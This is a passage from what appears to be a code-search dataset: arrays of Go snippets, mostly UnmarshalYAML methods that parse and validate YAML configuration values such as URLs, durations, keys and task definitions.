error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPublicKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (r *RootableField) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfield, err := newField(s, true)\n\t*r = RootableField{Field: field}\n\treturn err\n}","func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tparsedURL, err := url.Parse(s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot parse proxy_url=%q as *url.URL: %w\", s, err)\n\t}\n\tu.url = parsedURL\n\treturn nil\n}","func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}","func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\turlp, err := url.Parse(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\tu.URL = urlp\n\treturn nil\n}","func (r *HTTPOrBool) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.HTTP); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.HTTP.IsEmpty() {\n\t\t// Unmarshalled successfully to r.HTTP, unset r.Enabled, and return.\n\t\tr.Enabled = nil\n\t\t// this assignment lets us treat the main listener rule and additional listener rules equally\n\t\t// because we eliminate the need for TargetContainerCamelCase by assigning its value to TargetContainer.\n\t\tif r.TargetContainerCamelCase != nil && r.Main.TargetContainer == nil {\n\t\t\tr.Main.TargetContainer = r.TargetContainerCamelCase\n\t\t\tr.TargetContainerCamelCase = nil\n\t\t}\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Enabled); err != nil {\n\t\treturn errors.New(`cannot marshal \"http\" field into bool or map`)\n\t}\n\treturn nil\n}","func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&a.AdvancedAliases); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif len(a.AdvancedAliases) != 0 {\n\t\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\n\t\ta.StringSliceOrString = StringSliceOrString{}\n\t\treturn nil\n\t}\n\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\n\t\treturn errUnmarshalAlias\n\t}\n\treturn nil\n}","func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar buildString string\n\tif err = unmarshal(&buildString); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(str)\n\t\tw.BuildString = buildString\n\t\treturn nil\n\t}\n\t// if err != nil {\n\t// \treturn err\n\t// }\n\t// return json.Unmarshal([]byte(str), w)\n\n\tvar buildObject map[string]string\n\tif err = unmarshal(&buildObject); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(commandArray[0])\n\t\tw.BuildObject = buildObject\n\t\treturn nil\n\t}\n\treturn nil //should be an error , something like UNhhandledError\n}","func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar t string\n\terr := unmarshal(&t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\n\t\t*s = val\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"'%s' is not a valid token strategy\", t)\n}","func (m *OrderedMap[K, V]) UnmarshalYAML(b []byte) error {\n\tvar s yaml.MapSlice\n\tif err := yaml.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tif len(s) == 0 {\n\t\treturn nil\n\t}\n\tresult := OrderedMap[K, V]{\n\t\tidx: map[K]int{},\n\t\titems: make([]OrderedMapItem[K, V], len(s)),\n\t}\n\tfor i, item := range s {\n\t\tkb, err := yaml.Marshal(item.Key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar k K\n\t\tif err := yaml.Unmarshal(kb, &k); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvb, err := yaml.Marshal(item.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar v V\n\t\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresult.idx[k] = i\n\t\tresult.items[i].Key = k\n\t\tresult.items[i].Value = v\n\t}\n\t*m = result\n\treturn nil\n}","func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}","func (r *RequiredExtension) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// First try to just read the mixin name\n\tvar extNameOnly string\n\terr := unmarshal(&extNameOnly)\n\tif err == nil {\n\t\tr.Name = extNameOnly\n\t\tr.Config = nil\n\t\treturn nil\n\t}\n\n\t// Next try to read a required extension with config defined\n\textWithConfig := map[string]map[string]interface{}{}\n\terr = unmarshal(&extWithConfig)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not unmarshal raw yaml of required extensions\")\n\t}\n\n\tif len(extWithConfig) == 0 {\n\t\treturn errors.New(\"required extension was empty\")\n\t} else if len(extWithConfig) > 1 {\n\t\treturn errors.New(\"required extension contained more than one extension\")\n\t}\n\n\tfor extName, config := range extWithConfig {\n\t\tr.Name = extName\n\t\tr.Config = config\n\t\tbreak // There is only one extension anyway but break for clarity\n\t}\n\treturn nil\n}","func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}","func (y *PipelineYml) Unmarshal() error {\n\n\terr := yaml.Unmarshal(y.byteData, &y.obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif y.obj == nil {\n\t\treturn errors.New(\"PipelineYml.obj is nil pointer\")\n\t}\n\n\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\n\t//if err != nil {\n\t//\treturn err\n\t//}\n\n\t// re unmarshal to obj, because byteData updated by evaluate\n\terr = yaml.Unmarshal(y.byteData, &y.obj)\n\treturn err\n}","func (r *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value float64\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tparsed := Rate(value)\n\tif err := parsed.Validate(); err != nil {\n\t\treturn err\n\t}\n\n\t*r = parsed\n\n\treturn nil\n}","func ParseYaml(input string) (R *Recipe, err error) {\n\t//parse yaml into pre-recipe structure\n\tvar pr preRecipe\n\terr = yaml.Unmarshal([]byte(input), &pr)\n\tif err != nil {\n\t\treturn\n\t}\n\t//set ids\n\t//first go through and set id's\n\tcounter := 0\n\tvar setID func(*preRecipe)\n\tsetID = func(ptr *preRecipe) {\n\t\tptr.ID = counter\n\t\tcounter++\n\t\t//recurse into dependencies\n\t\tfor k := 0; k < len(ptr.Ingrediants); k++ {\n\t\t\tsetID(&(ptr.Ingrediants[k]))\n\t\t}\n\t}\n\tsetID(&pr)\n\tsteps, err := preRecipe2Steps(&pr)\n\tif err != nil {\n\t\treturn\n\t}\n\tR, err = steps2recipe(steps)\n\treturn\n}","func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}","func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn fmt.Errorf(\"ParseKind should be a string\")\n\t}\n\tv, ok := _ParseKindNameToValue[s]\n\tif !ok {\n\t\treturn fmt.Errorf(\"invalid ParseKind %q\", s)\n\t}\n\t*r = v\n\treturn nil\n}","func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype C Scenario\n\tnewConfig := (*C)(c)\n\tif err := unmarshal(&newConfig); err != nil {\n\t\treturn err\n\t}\n\tif c.Database == nil {\n\t\treturn fmt.Errorf(\"Database must not be empty\")\n\t}\n\tif c.Collection == nil {\n\t\treturn fmt.Errorf(\"Collection must not be empty\")\n\t}\n\tswitch p := c.Parallel; {\n\tcase p == nil:\n\t\tc.Parallel = Int(1)\n\tcase *p < 1:\n\t\treturn fmt.Errorf(\"Parallel must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.BufferSize; {\n\tcase s == nil:\n\t\tc.BufferSize = Int(1000)\n\tcase *s < 1:\n\t\treturn fmt.Errorf(\"BufferSize must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.Repeat; {\n\tcase s == nil:\n\t\tc.Repeat = Int(1)\n\tcase *s < 0:\n\t\treturn fmt.Errorf(\"Repeat must be greater than or equal to 0\")\n\tdefault:\n\t}\n\tif len(c.Queries) == 0 {\n\t\treturn fmt.Errorf(\"Queries must not be empty\")\n\t}\n\treturn nil\n}","func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}","func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = dur\n\treturn nil\n}","func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UOMString(s)\n\treturn err\n}"],"string":"[\n \"func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn nil\\n}\",\n \"func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\\n\\tvar unmarshaled stepUnmarshaller\\n\\tif err := unmarshal(&unmarshaled); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.Title = unmarshaled.Title\\n\\ts.Description = unmarshaled.Description\\n\\ts.Vars = unmarshaled.Vars\\n\\ts.Protocol = unmarshaled.Protocol\\n\\ts.Include = unmarshaled.Include\\n\\ts.Ref = unmarshaled.Ref\\n\\ts.Bind = unmarshaled.Bind\\n\\ts.Timeout = unmarshaled.Timeout\\n\\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\\n\\ts.Retry = unmarshaled.Retry\\n\\n\\tp := protocol.Get(s.Protocol)\\n\\tif p == nil {\\n\\t\\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\\n\\t\\t\\treturn errors.Errorf(\\\"unknown protocol: %s\\\", s.Protocol)\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\tif unmarshaled.Request != nil {\\n\\t\\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\ts.Request = invoker\\n\\t}\\n\\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ts.Expect = builder\\n\\n\\treturn nil\\n}\",\n \"func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\\n\\ttype storeYAML map[string]map[string]entryYAML\\n\\n\\tsy := make(storeYAML, 0)\\n\\n\\terr = unmarshal(&sy)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*s = NewStore()\\n\\tfor groupID, group := range sy {\\n\\t\\tfor entryID, entry := range group {\\n\\t\\t\\tentry.e.setGroup(groupID)\\n\\t\\t\\tif err = s.add(entryID, entry.e); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&b.Kv)\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tlbSet := model.LabelSet{}\\n\\terr := unmarshal(&lbSet)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tv.LabelSet = lbSet\\n\\treturn nil\\n}\",\n \"func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tmsg.unmarshal = unmarshal\\n\\treturn nil\\n}\",\n \"func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\\n\\ttag := GetTag(node.Value)\\n\\tf.Name = tag.Name\\n\\tf.Negates = tag.Negates\\n\\tlog.Tracef(\\\"Unmarshal %s into %s\\\\n\\\", node.Value, tag)\\n\\treturn nil\\n}\",\n \"func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// new temp as map[string]interface{}.\\n\\ttemp := make(map[string]interface{})\\n\\n\\t// unmarshal temp as yaml.\\n\\tif err := unmarshal(temp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn this.unmarshal(temp)\\n}\",\n \"func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar typeDecoder map[string]rawMessage\\n\\terr := unmarshal(&typeDecoder)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn o.unmarshalDecodedType(typeDecoder)\\n}\",\n \"func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\\n\\tvar j string\\n\\terr := yaml.Unmarshal([]byte(n.Value), &j)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\\n\\t*s = toID[j]\\n\\treturn nil\\n}\",\n \"func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype rawContainerDef ContainerDef\\n\\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\\n\\tif err := unmarshal(&raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*cd = ContainerDef(raw)\\n\\treturn nil\\n}\",\n \"func (r *rawMessage) UnmarshalYAML(b []byte) error {\\n\\t*r = b\\n\\treturn nil\\n}\",\n \"func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain ArtifactoryParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *BodyField) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar value string\\n\\tif err := unmarshal(&value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"the field is not a string: %s\\\", err)\\n\\t}\\n\\n\\t*f = fromJSONDot(value)\\n\\treturn nil\\n}\",\n \"func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Fields)\\n}\",\n \"func parseYaml(yml []byte) T {\\n\\tt := T{}\\n\\terr := yaml.Unmarshal([]byte(yml), &t)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"error: %v\\\", err)\\n\\t}\\n\\treturn t\\n}\",\n \"func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar value string\\n\\tif err := unmarshal(&value); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := t.Set(value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to parse '%s' to Type: %v\\\", value, err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func unmarsharlYaml(byteArray []byte) Config {\\n\\tvar cfg Config\\n\\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"error: %v\\\", err)\\n\\t}\\n\\treturn cfg\\n}\",\n \"func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\\n\\tvar d string\\n\\tif err = value.Decode(&d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// check data format\\n\\tif err := checkDateFormat(d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*date = Date(d)\\n\\treturn nil\\n}\",\n \"func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = ParseTransformString(s)\\n\\treturn err\\n}\",\n \"func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar loglevelString string\\n\\terr := unmarshal(&loglevelString)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tloglevelString = strings.ToLower(loglevelString)\\n\\tswitch loglevelString {\\n\\tcase \\\"error\\\", \\\"warn\\\", \\\"info\\\", \\\"debug\\\":\\n\\tdefault:\\n\\t\\treturn fmt.Errorf(\\\"Invalid loglevel %s Must be one of [error, warn, info, debug]\\\", loglevelString)\\n\\t}\\n\\n\\t*loglevel = Loglevel(loglevelString)\\n\\treturn nil\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u map[string]string\\n\\tif err := unmarshal(&u); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range u {\\n\\t\\tswitch key := strings.ToLower(k); key {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tr.Name = v\\n\\t\\tcase \\\"url\\\":\\n\\t\\t\\tr.URL = v\\n\\t\\tcase \\\"useoauth\\\":\\n\\t\\t\\tr.UseOAuth = strings.ToLower(v) == \\\"true\\\"\\n\\t\\t}\\n\\t}\\n\\tif r.URL == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"repo entry missing url: %+v\\\", u)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar strVal string\\n\\terr := unmarshal(&strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tparsed, err := Parse(strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*b = parsed\\n\\treturn nil\\n}\",\n \"func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar ktyp string\\n\\terr := unmarshal(&ktyp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*k = KeventNameToKtype(ktyp)\\n\\treturn nil\\n}\",\n \"func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar boolType bool\\n\\tif err := unmarshal(&boolType); err == nil {\\n\\t\\te.External = boolType\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar structType = struct {\\n\\t\\tName string\\n\\t}{}\\n\\tif err := unmarshal(&structType); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif structType.Name != \\\"\\\" {\\n\\t\\te.External = true\\n\\t\\te.Name = structType.Name\\n\\t}\\n\\treturn nil\\n}\",\n \"func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tp, err := ParseEndpoint(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*ep = *p\\n\\treturn nil\\n}\",\n \"func LoadYaml(data []byte) ([]runtime.Object, error) {\\n\\tparts := bytes.Split(data, []byte(\\\"---\\\"))\\n\\tvar r []runtime.Object\\n\\tfor _, part := range parts {\\n\\t\\tpart = bytes.TrimSpace(part)\\n\\t\\tif len(part) == 0 {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tr = append(r, obj)\\n\\t}\\n\\treturn r, nil\\n}\",\n \"func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate bool\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tb.set(candidate)\\n\\treturn nil\\n}\",\n \"func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !LabelName(s).IsValid() {\\n\\t\\treturn fmt.Errorf(\\\"%q is not a valid label name\\\", s)\\n\\t}\\n\\t*ln = LabelName(s)\\n\\treturn nil\\n}\",\n \"func UnmarshalYAML(config *YAMLConfiguration, path string) {\\n\\tdata, err := ioutil.ReadFile(path)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\terr = yaml.Unmarshal(data, config)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\tos.Exit(1)\\n\\t}\\n}\",\n \"func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate float64\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tf.set(candidate)\\n\\treturn nil\\n}\",\n \"func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmashal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdur, err := time.ParseDuration(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = duration(dur)\\n\\treturn nil\\n}\",\n \"func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar cl CommandList\\n\\tcommandCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&cl) },\\n\\t\\tAssign: func() { *r = Run{Command: cl} },\\n\\t}\\n\\n\\ttype runType Run // Use new type to avoid recursion\\n\\tvar runItem runType\\n\\trunCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *r = Run(runItem) },\\n\\t\\tValidate: func() error {\\n\\t\\t\\tactionUsedList := []bool{\\n\\t\\t\\t\\tlen(runItem.Command) != 0,\\n\\t\\t\\t\\tlen(runItem.SubTaskList) != 0,\\n\\t\\t\\t\\trunItem.SetEnvironment != nil,\\n\\t\\t\\t}\\n\\n\\t\\t\\tcount := 0\\n\\t\\t\\tfor _, isUsed := range actionUsedList {\\n\\t\\t\\t\\tif isUsed {\\n\\t\\t\\t\\t\\tcount++\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif count > 1 {\\n\\t\\t\\t\\treturn errors.New(\\\"only one action can be defined in `run`\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\\n}\",\n \"func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u64 uint64\\n\\tif unmarshal(&u64) == nil {\\n\\t\\tAtomicStoreByteCount(bc, ByteCount(u64))\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar s string\\n\\tif unmarshal(&s) == nil {\\n\\t\\tv, err := ParseByteCount(s)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"%q: %w: %v\\\", s, ErrMalformedRepresentation, err)\\n\\t\\t}\\n\\t\\tAtomicStoreByteCount(bc, v)\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"%w: unexpected type\\\", ErrMalformedRepresentation)\\n}\",\n \"func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar runSlice []*Run\\n\\tsliceCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runSlice) },\\n\\t\\tAssign: func() { *rl = runSlice },\\n\\t}\\n\\n\\tvar runItem *Run\\n\\titemCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *rl = RunList{runItem} },\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\\n}\",\n \"func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar rawTask map[string]interface{}\\n\\terr := unmarshal(&rawTask)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to unmarshal task: %s\\\", err)\\n\\t}\\n\\n\\trawName, ok := rawTask[\\\"name\\\"]\\n\\tif !ok {\\n\\t\\treturn errors.New(\\\"missing 'name' field\\\")\\n\\t}\\n\\n\\ttaskName, ok := rawName.(string)\\n\\tif !ok || taskName == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"'name' field needs to be a non-empty string\\\")\\n\\t}\\n\\n\\tt.Name = taskName\\n\\n\\t// Delete name field, since it doesn't represent an action\\n\\tdelete(rawTask, \\\"name\\\")\\n\\n\\tfor actionType, action := range rawTask {\\n\\t\\taction, err := actions.UnmarshalAction(actionType, action)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"failed to unmarshal action %q from task %q: %s\\\", actionType, t.Name, err)\\n\\t\\t}\\n\\n\\t\\tt.Actions = append(t.Actions, action)\\n\\t}\\n\\n\\tif len(t.Actions) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"task %q has no actions\\\", t.Name)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn 